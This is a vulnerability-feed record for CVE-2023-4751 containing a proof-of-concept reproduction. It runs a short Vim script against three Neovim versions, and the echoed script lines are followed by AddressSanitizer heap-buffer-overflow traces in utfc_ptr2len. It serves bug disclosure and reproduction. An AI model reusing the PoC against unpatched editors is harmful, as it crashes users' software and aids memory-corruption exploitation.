{"uuid": "5f359744-63ad-471d-9559-c3e1c19d98bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4751", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c8e5a74cab9d06d11a53ab1823c9ab5", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006012 at pc 0x000000870029 bp 0x7ffcf711dbb0 sp 0x7ffcf711dba8\nREAD of size 1 at 0x602000006012 thread T0\n    #0 0x870028 in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16\n    #1 0x8d9a54 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4451:25\n    #2 0x8f200d in nv_zg_zw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3577:25\n    #3 0x8e7d92 in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3975:9\n    #4 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #5 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #6 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #7 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #8 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #13 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #14 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #18 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #20 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #21 0x7f16a0f0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006012 is located 0 bytes to the right of 2-byte region [0x602000006010,0x602000006012)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x5df777 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:686:16\n    #4 0x5dfc61 in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:622:3\n    #5 0x64fc50 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2176:7\n    #6 0x6558bb in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1975:5\n    #7 0x655174 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1167:7\n    #8 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n    #9 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n    #10 0x64b487 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:331:5\n    #11 0x648d5f in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1263:3\n    #12 0x8ec580 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7061:7\n    #13 0x8e43eb in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5520:7\n    #14 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #15 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #16 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #17 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #18 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #19 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #21 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #22 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #23 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #24 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #29 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8bb0: fa fa 00 01 fa fa fd fd fa fa 00 01 fa fa 00 04\n  0x0c047fff8bc0: fa fa 00 04 fa fa 05 fa fa fa fd fa fa fa 07 fa\n  0x0c047fff8bd0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fa\n  0x0c047fff8be0: fa fa fd fd fa fa 00 00 fa fa fd fa fa fa fd fa\n  0x0c047fff8bf0: fa fa fd fa fa fa 01 fa fa fa 00 fa fa fa 01 fa\n=>0x0c047fff8c00: fa fa[02]fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8c10: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c20: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c30: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff8c40: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa 01 fa\n  0x0c047fff8c50: fa fa 05 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25805==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25864==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003a8d2 at pc 0x000000baa92b bp 0x7fff19e94270 sp 0x7fff19e94268\nREAD of size 1 at 0x60200003a8d2 thread T0\n    #0 0xbaa92a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26\n    #1 0xc64109 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4480:25\n    #2 0xc8a82c in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3968:27\n    #3 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #4 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #5 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #6 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #7 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #11 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #12 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #13 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #14 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #15 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #16 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #17 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #18 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x60200003a8d2 is located 0 bytes to the right of 2-byte region [0x60200003a8d0,0x60200003a8d2)\nallocated by thread T0 here:\n    #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n    #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x6d61ed in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:625:18\n    #4 0x6d683f in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:560:3\n    #5 0x75abb5 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5955:7\n    #6 0x76c384 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5741:5\n    #7 0x76b489 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1373:7\n    #8 0x74279f in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n    #9 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #10 0x746c03 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n    #11 0x74086d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n    #12 0xc903f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n    #13 0xc79dd5 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5619:7\n    #14 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #15 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #16 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #17 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #18 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #22 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #23 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #24 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #27 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #28 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #29 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047ffff4c0: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa 00 04\n  0x0c047ffff4d0: fa fa 00 04 fa fa fd fd fa fa 05 fa fa fa fd fa\n  0x0c047ffff4e0: fa fa 07 fa fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047ffff4f0: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047ffff500: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047ffff510: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047ffff520: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047ffff530: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff540: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff550: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff560: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25864==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25949==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000081d2 at pc 0x0000009ace3b bp 0x7ffd7c9e0790 sp 0x7ffd7c9e0788\nREAD of size 1 at 0x6020000081d2 thread T0\n    #0 0x9ace3a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26\n    #1 0xa712e8 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4920:25\n    #2 0xa97cff in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4459:27\n    #3 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #4 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #5 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #6 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #7 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6020000081d2 is located 0 bytes to the right of 2-byte region [0x6020000081d0,0x6020000081d2)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0xa0aba6 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1475:18\n    #4 0xa0b1df in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1406:3\n    #5 0x640714 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5312:7\n    #6 0x6510d4 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5099:5\n    #7 0x6509fa in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1241:7\n    #8 0x629566 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:764:10\n    #9 0xd3b5b3 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:67:26\n    #10 0x62d7d5 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:458:5\n    #11 0x6274e3 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1339:3\n    #12 0xa9d1b8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7589:7\n    #13 0xa85f81 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6068:7\n    #14 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #15 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #16 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #17 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #18 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #19 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #20 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #21 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #22 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #23 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #24 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #25 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #26 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #27 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #28 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #29 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8fe0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 06\n  0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd\n  0x0c047fff9000: fa fa 00 01 fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047fff9010: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047fff9020: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047fff9030: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047fff9040: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047fff9050: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9060: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9070: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff9080: fa fa fd fa fa fa 07 fa fa fa 01 fa fa fa 01 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25949==ABORTING", "creation_timestamp": "2026-09-06T12:58:15.895359Z"}